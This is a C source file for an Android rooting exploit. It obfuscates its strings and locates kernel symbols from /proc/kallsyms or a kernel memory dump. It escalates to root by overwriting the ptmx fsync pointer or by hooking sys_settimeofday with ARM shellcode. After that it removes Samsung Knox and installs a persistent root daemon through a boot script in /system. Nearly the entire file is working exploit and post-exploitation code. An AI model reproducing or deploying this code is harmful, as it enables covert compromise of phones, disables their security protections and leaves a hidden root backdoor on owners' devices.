#include <stdio.h>
#include <sys/time.h>
#include <stdlib.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/system_properties.h>
#include <sys/mount.h>
#include "lib_put_user.h"
#include "kallsyms_in_memory.h"
#include "kallsyms.h"
#include "device_database.h"
#include "knox_manager.h"
#include "log.h"
#include "shell_params.h"
#include "deobfuscate.h"
#include "old_shell.h"
#include "utils.h"

#define KERNEL_DUMP_START_ADDRESS 0xc0808000
#define KERNEL_DUMP_SIZE 0x500000
#define MB 0x100000
#define KERNEL_DUMP_TIMES 7

static unsigned char ptmx_device[] = "\x13\xfa\xe0\xcc\x8b\x8a\xa5\xcc\xa7\x9b\x82\x9f"; // "/dev/ptmx"
static unsigned char daemon_opt[] = "\x3d\xe4\xd1\x10\x10\xd9\xa4\xd8\xd0\xd2\xd3"; // "--daemon"
static unsigned char proc_kallsyms[] = "\x94\x98\x02\xcb\xe4\xe6\x0b\x17\xcb\x0f\x15\x08\x08\xe7\x1d\x09\xe7"; // "/proc/kallsyms"
static unsigned char commit_creds_str[] = "\xf1\x8f\x72\xae\xa2\xa4\xa4\xa8\x9b\xb2\xae\x9d\xac\xab\x9e\xf8"; // "commit_creds"
static unsigned char prepare_kernel_cred_str[] = "\xdb\xf1\x39\x6d\x6b\x5e\x6d\x5a\x6b\x5e\x84\x50\x5e\x6b\x57\x5e\x59\x84\x58\x6b\x5e\x41"; // "prepare_kernel_cred"
static unsigned char kernel_execve_str[] = "\xc6\xca\x01\xbd\xa7\xb4\xb8\xa7\xbe\xa9\xa7\x42\xa7\xa5\xb0\xa7"; // "kernel_execve"
static unsigned char sys_setresuid_str[] = "\x27\xbd\x97\xac\xa6\xac\x88\xac\x42\xad\xaf\x42\xac\xb2\xb6\xbd"; // "sys_setresuid"
static unsigned char ptmx_fops_str[] = "\xac\xf3\x56\x3c\x38\x47\x34\x15\x4e\x45\x3c\x21"; // "ptmx_fops"
static unsigned char selinux_enabled_str[] = "\x0b\xbd\xb9\x88\x96\x99\xa2\x9f\x86\x8d\xac\x96\x9f\x9a\x9b\x99\x96\x91"; // "selinux_enabled"
static unsigned char selinux_enforcing_str[] = "\xad\x0d\xb1\xe6\xd8\xc3\xdc\xdd\xe8\xef\xf2\xd8\xdd\xd5\xc2\xe1\xd6\xdc\xdd\xda"; // "selinux_enforcing"
static unsigned char sys_settimeofday_str[] = "\xe2\xd1\x23\xb3\xbd\xb3\x5f\xb3\x89\xb6\xb6\x8d\xb1\x89\x8f\x84\x86\x85\xbd"; // "sys_settimeofday"
static unsigned char system_str[] = "\x76\xcb\xba\xef\x1b\x11\x1b\x06\x15\x2d"; // "/system"
static unsigned char ext3_str[] = "\x71\x92\xe7\x34\x09\x05\x46"; // "ext3"
static unsigned char sh_script[] = "\xc6\x25\xf3\x2f\x29\x2b\xff\xc1\xff\xf2\xed\xf5\x2b\xec\xf1\xe8\x2b\xff\xf6"; // "#!/system/bin/sh"



struct cred;
struct task_struct;

typedef struct cred *(*prepare_kernel_cred_t)(struct task_struct *);
typedef int (*commit_creds_t)(struct cred *);
typedef int (*kernel_execve_t)(const char *filename, const char *const argv[], const char *const envp[]);
typedef int (*sys_setresuid_t)(uid_t ruid, uid_t euid, uid_t suid);


// Kernel functions and symbols
prepare_kernel_cred_t prepare_kernel_cred = 0;
commit_creds_t commit_creds = 0;
kernel_execve_t kernel_execve = 0;
sys_setresuid_t sys_setresuid = 0;
unsigned long int ptmx_fops = 0;
unsigned long int ptmx_fops_fsync_address = 0;
unsigned long int selinux_enabled = 0;
unsigned long int selinux_enforcing = 0;
unsigned long int settimeofday_addr = 0;

char shell_server[256];
char shell_script[256];
char old_shell_path[256];


int fcopy(FILE *f1, FILE *f2){
  char buffer[512];
  size_t n;

  while ((n = fread(buffer, sizeof(char), sizeof(buffer), f1)) > 0){
    if (fwrite(buffer, sizeof(char), n, f2) != n)
      return -1;
  }

  return 1;
}


// Check if a dumped address is correct to avoid crashes
int sanitize_address(unsigned long int addr) {

  if((addr >= 0xc0000000) && (addr <= 0xc4000000))
    return addr;

  else return 0;

}


void sanitize_address_group(void) {

  prepare_kernel_cred = (void *) sanitize_address((unsigned long int)prepare_kernel_cred);
  commit_creds = (void *) sanitize_address((unsigned long int)commit_creds);
  kernel_execve = (void *) sanitize_address((unsigned long int)kernel_execve);
  sys_setresuid = (void *) sanitize_address((unsigned long int)sys_setresuid);
  ptmx_fops = sanitize_address(ptmx_fops);
  selinux_enabled = sanitize_address(selinux_enabled);
  selinux_enforcing = sanitize_address(selinux_enforcing);
  settimeofday_addr = sanitize_address(settimeofday_addr);
}


// Dump a slice of kernel
int dump_kernel(char *dest, unsigned long int start, int size) {
  unsigned long int addr;
  unsigned long int val;
  int cnt = 0;

  for (addr = start; addr < (start + size); addr += 4, dest += 4) {
    if (read_value_at_address(addr, &val) != 0) 
      return -1;
	      
    memcpy(dest, &val, sizeof(unsigned long int));
    if (cnt == 0) {
      LOGD("addr=%08x\n", (unsigned int)addr);
    }
    cnt += 4;
    if (cnt >= 0x100000) {
      cnt = 0;
    }
  }  
  return 0;
}


// Dump the kernel and check the needed symbols directly in memory
int get_symbols_from_kernel(void) {
  char *dump_buf = malloc(KERNEL_DUMP_SIZE);
  char *dump_buf_next = NULL;
  unsigned long int current_start_addr = 0;
  int current_size = 0;
  int i = 0;
  bool init_syms = false;


  if(dump_buf)
    memset(dump_buf, 0, KERNEL_DUMP_SIZE);
  else
    return -1;

  if(dump_kernel(dump_buf, KERNEL_DUMP_START_ADDRESS, KERNEL_DUMP_SIZE) < 0)
    return -1;

  current_start_addr = KERNEL_DUMP_START_ADDRESS;
  current_size = KERNEL_DUMP_SIZE;

  // Add 2 MB to the kernel dump slice until we find the symbol table

  for(i = 0; i < KERNEL_DUMP_TIMES; i++) {
    // If we find the symbol table dump 2 MB more and exit to be sure to have all symbols
    init_syms = kallsyms_in_memory_init((void *)dump_buf, current_size);

    dump_buf_next = malloc(current_size + (MB * 2));
    
    if(!dump_buf_next)
      return -1;

    // Dump the previous MB
    if(dump_kernel(dump_buf_next, current_start_addr - MB, MB) < 0)
      return -1;
  
    // Copy the old kernel dump
    memcpy((void *)(dump_buf_next + MB), dump_buf, current_size);

    // Dump the next MB
    if(dump_kernel((void *)(dump_buf_next + current_size + MB), current_start_addr + current_size, MB) < 0)
      return -1;

    free(dump_buf);
      
    // Refresh
    dump_buf = dump_buf_next;
    current_size += MB * 2;
    current_start_addr -= MB;

    if(init_syms)
      break;
  }

  // Initialize again
  init_syms = kallsyms_in_memory_init((void *)dump_buf, current_size);
  if(!init_syms)
    return -1;

  prepare_kernel_cred = (void *) kallsyms_in_memory_lookup_name(deobfuscate(prepare_kernel_cred_str));
  commit_creds = (void *) kallsyms_in_memory_lookup_name(deobfuscate(commit_creds_str));
  kernel_execve = (void *) kallsyms_in_memory_lookup_name(deobfuscate(kernel_execve_str));
  sys_setresuid = (void *) kallsyms_in_memory_lookup_name(deobfuscate(sys_setresuid_str));
  ptmx_fops = kallsyms_in_memory_lookup_name(deobfuscate(ptmx_fops_str));
  selinux_enabled = kallsyms_in_memory_lookup_name(deobfuscate(selinux_enabled_str));
  selinux_enforcing = kallsyms_in_memory_lookup_name(deobfuscate(selinux_enforcing_str));
  settimeofday_addr = (unsigned long int) kallsyms_in_memory_lookup_name(deobfuscate(sys_settimeofday_str));

  if(ptmx_fops)
    ptmx_fops_fsync_address = (unsigned long int)ptmx_fops + 0x38;

  return 0;
}


// Check if we can retrieve the needed symbols easily just reading /proc/kallsyms (i.e: Android <= 4.0.4)
int get_symbols_from_file() {
  FILE *f = NULL;
  char line[512];
  char *str = NULL;

  f = fopen(deobfuscate(proc_kallsyms), "r");
  if(!f)
    return -1;

  memset(line, 0, sizeof(line));
  if(!(fgets(line, sizeof(line), f)))
    return -1;

  str = strtok(line, " ");
  if(!strtoul(str, NULL, 16))
    return -1;

  prepare_kernel_cred = (void *) kallsyms_get_symbol_address(deobfuscate(prepare_kernel_cred_str));
  commit_creds = (void *) kallsyms_get_symbol_address(deobfuscate(commit_creds_str));
  kernel_execve = (void *) kallsyms_get_symbol_address(deobfuscate(kernel_execve_str));
  sys_setresuid = (void *) kallsyms_get_symbol_address(deobfuscate(sys_setresuid_str));
  ptmx_fops = (unsigned long int) kallsyms_get_symbol_address(deobfuscate(ptmx_fops_str));
  selinux_enabled = (unsigned long int) kallsyms_get_symbol_address(deobfuscate(selinux_enabled_str));
  selinux_enforcing = (unsigned long int) kallsyms_get_symbol_address(deobfuscate(selinux_enforcing_str));
  settimeofday_addr = (unsigned long int) kallsyms_get_symbol_address(deobfuscate(sys_settimeofday_str));

  if(ptmx_fops)
    ptmx_fops_fsync_address = (unsigned long int)ptmx_fops + 0x38;

  return 0;

}

// Code to exec as root
void shellcode(void) {
  commit_creds(prepare_kernel_cred(0));
}


// Install an hook for our shellcode in the sys_settimeofday kernel function
int patch_sys_settimeofday(void) {
  unsigned long int hook[9];
  int i = 0;

  // We are going to patch a system call directly in the kernel space so it is important to use
  // just kernel space addresses to avoid post exploitation crashes

  hook[0] = 0xe92d41f0; // push {r4, r5, r6, r7, r8, lr}         # prologue
  hook[1] = 0xe59f1010; // ldr r1, [pc, #16]                     # r1 = prepare_kernel_cred address   
  hook[2] = 0xe0200000; // eor r0, r0, r0                        # r0 = 0
  hook[3] = 0xe12fff31; // blx r1                                # prepare_kernel_cred(0)
  hook[4] = 0xe59f1008; // ldr r1, [pc, #8]                      # r1 = commit_creds
  hook[5] = 0xe12fff31; // blx r1                                # commit_creds(prepare_kernel_cred(0))
  hook[6] = 0xe8bd81f0; // pop {r4, r5, r6, r7, r8, pc}          # epilogue
  hook[7] = (unsigned long int) prepare_kernel_cred;  // prepare_kernel_cred address
  hook[8] = (unsigned long int) commit_creds;         // commit_creds address


  if(!settimeofday_addr)
    return 0;

  for(i = 0; i < sizeof(hook)/4; i++) {
    LOGD("Writing instruction %d", i);
    sleep(1);
    if(!write_value_at_address((unsigned long int)settimeofday_addr + (i*4), hook[i]))
      return 0;
    LOGD("Instruction done");
  }
  LOGD("Done");

  sleep(1);

  return 1;

}


// Fix the hooked syscall so that no one else can get root
void fix_syscall_hook(void) {
  unsigned long int hook[3];
  int i = 0;

  // We are going to patch a system call directly in the kernel space so it is important to use
  // just kernel space addresses to avoid post exploitation crashes

  // Just do a "return 0"

  hook[0] = 0xe92d41f0; // push {r4, r5, r6, r7, r8, lr}         # prologue
  hook[1] = 0xe0200000; // eor r0, r0, r0                        # r0 = 0
  hook[2] = 0xe8bd81f0; // pop {r4, r5, r6, r7, r8, pc}          # epilogue

  if(!settimeofday_addr)
    return;

  for(i = 0; i < sizeof(hook)/4; i++) {
    LOGD("Fixing instruction %d", i);
    sleep(1);
    if(!write_value_at_address((unsigned long int)settimeofday_addr + (i*4), hook[i]))
      return;
    LOGD("Istruction fixed");
  }
  LOGD("Fixing done");
}


// Inject a syscall hook to perform the privileges escalation
void trigger_syscall_hook(void) {
  struct timeval now;
  int rc;

  // Random value
  now.tv_sec=866208142;
  now.tv_usec=290944;

  // Hook the settimeofday() syscall
  LOGD("Patching syscall");
  if(!patch_sys_settimeofday())
    return;

  sleep(2);

  LOGD("Going to trigger");
  // Trigger
  rc=settimeofday(&now, NULL);

  sleep(2);

  // Remove the hook
  LOGD("Fixing syscall");
  fix_syscall_hook();
}

  
// overwrite the ptmx_fops_fsync_address address
int trigger_ptmx(void) {
  int fd;
  int ret;
  unsigned long int restore = 0;

  if(!ptmx_fops_fsync_address)
    return -1;

  // read current value
  if(read_value_at_address(ptmx_fops_fsync_address, &restore) < 0) {
    LOGD("Error dumping...\n");
    restore = -1;
  }

  if(!write_value_at_address(ptmx_fops_fsync_address,(unsigned long int)&shellcode))
    return -1;

  // Trigger
  fd = open(deobfuscate(ptmx_device), O_WRONLY);
  ret = fsync(fd);
  close(fd);

  LOGD("Restoring 0x%x at 0x%x\n", (unsigned int)restore, (unsigned int)ptmx_fops_fsync_address);
  // Restore the old value
  if(restore >= 0)
    write_value_at_address(ptmx_fops_fsync_address, restore);
  

  return (ret == 0);

}


// Install the root shell.
// - Copy the sh script in /system/etc (boot start)
// - Copy the root_server bin in /system/bin
int install_shell(void) {
  FILE *f1 = NULL;
  FILE *f2 = NULL;
  char install_script[1024];
  struct stat st;

  memset(install_script, 0, sizeof(install_script));
  
  LOGD("Installing shell");

  // Mount /system partition as rw
  if(mount(deobfuscate(system_str), deobfuscate(system_str), deobfuscate(ext3_str), MS_REMOUNT, "") < 0)
    return -1;

  remove(deobfuscate(ROOT_SERVER));
  remove(deobfuscate(ROOT_CLIENT));

  // Copy root service

  f1 = fopen(shell_server, "r");
  f2 = fopen(deobfuscate(ROOT_SERVER), "w");

  if(!f1 || !f2)
    return -1;  

  if(fcopy(f1, f2) < 0)
    return -1;

  chmod(deobfuscate(ROOT_SERVER), 0755);

  fclose(f1);
  fclose(f2);

  // Copy root client

  f1 = fopen(shell_server, "r");
  f2 = fopen(deobfuscate(ROOT_CLIENT), "w");

  if(!f1 || !f2)
    return -1;  

  if(fcopy(f1, f2) < 0)
    return -1;

  chmod(deobfuscate(ROOT_CLIENT), 0755);

  fclose(f1);
  fclose(f2);

  // Copy root boot script
  if(stat(deobfuscate(INSTALL_SCRIPT), &st) < 0) {
    // Boot script doesn't exist yet
    LOGD("Boot script not present");
    
    f2 = fopen(deobfuscate(INSTALL_SCRIPT), "w");

    if(!f2)
      return -1;  
    
    fprintf(f2, "%s\n%s %s\n", deobfuscate(sh_script), deobfuscate(ROOT_SERVER), deobfuscate(daemon_opt));

    fclose(f2);
  }
  else {
    // Boot script alredy exists
    LOGD("Boot script already exists");
    chmod(deobfuscate(INSTALL_SCRIPT), 0755);
    
    // Create a backup copy of the original file
    f1 = fopen(deobfuscate(INSTALL_SCRIPT), "r");
    f2 = fopen(deobfuscate(INSTALL_SCRIPT_BAK), "w");

    if(!f1 || !f2)
      return -1;  
    
    if(fcopy(f1, f2) < 0)
      return -1;
    
    fclose(f1);
    fclose(f2);

    chmod(deobfuscate(INSTALL_SCRIPT_BAK), 0700);

    // Ok, now append our content to the script file
    snprintf(install_script, sizeof(install_script), "\n%s %s\n", deobfuscate(ROOT_SERVER), deobfuscate(daemon_opt));
    append_content(install_script, deobfuscate(INSTALL_SCRIPT));
  }

  chmod(deobfuscate(INSTALL_SCRIPT), 0755);
  mount(deobfuscate(system_str), deobfuscate(system_str), deobfuscate(ext3_str), MS_RDONLY | MS_REMOUNT , "");

  return 1;
}




int main(int argc, char **argv) {

  if(argc < 3)
    return -1;

  // Get init as parent. This is REALLY usefull to bypass Samsung protection
  if(fork())
    return 0;

  memset(shell_server, 0, sizeof(shell_server));
  memset(old_shell_path, 0, sizeof(old_shell_path));

  strncpy(shell_server, argv[1], sizeof(shell_server));
  strncpy(old_shell_path, argv[2], sizeof(old_shell_path));

  // Check if we have hardcoded symbols for this
  if(detect_device()) {
    ptmx_fops = (unsigned long int) device_get_symbol_address(device_symbol_ptmx_fops);
    prepare_kernel_cred = (void *) device_get_symbol_address(device_symbol_prepare_kernel_cred);
    commit_creds = (void *) device_get_symbol_address(device_symbol_commit_creds);
    settimeofday_addr = (unsigned long int) device_get_symbol_address(device_symbol_sys_settimeofday);
 
    if(ptmx_fops)
      ptmx_fops_fsync_address = (unsigned long int)ptmx_fops + 0x38;   
  }

  // Check if we can read kernel symbols from /proc/kallsyms (i.e: android < 4.1.1)
  else if(get_symbols_from_file() < 0) {
    // Try to retrieve the required symbols dumping the kernel
    if(get_symbols_from_kernel() < 0)
      return -1;
  } 

  // Check addresses
  sanitize_address_group();

  LOGD("Symbols found: fops %x prep_kern_cred %x commit_creds %x settimeofday_addr %x selinux_enforcing %x", ptmx_fops, prepare_kernel_cred, commit_creds, settimeofday_addr, selinux_enforcing);

  // We have to choose which exploitation technique we can use looking at the symbols we have

  // If we have all the ptmx_fops sym we try to use ptmx device to trigger
  // otherwise try with the syscall hook injection
  if(ptmx_fops && prepare_kernel_cred && commit_creds)
    trigger_ptmx();

  else if(settimeofday_addr && prepare_kernel_cred && commit_creds) {
    LOGD("Triggering syscall hook at 0x%x", settimeofday_addr);
    trigger_syscall_hook();
  }    

  // If we are root install the root shell
  if(getuid() == 0) {
    // Stop knox if exists
    if(is_knox_present())
      remove_knox();

    // Ok, now we need to install the root shell.
    // If it is possible we install the old style shell (setuid binary)
    LOGD("Trying to install setuid shell");
    if(install_old_shell(old_shell_path))
      return 0;

    if(install_shell() < 0)
      return -1;
  }

  // OK. At this point we are both root and child of init. We can do what we want :)
  execl(deobfuscate(ROOT_SERVER), deobfuscate(ROOT_SERVER), deobfuscate(daemon_opt), NULL);
  return -1;
}
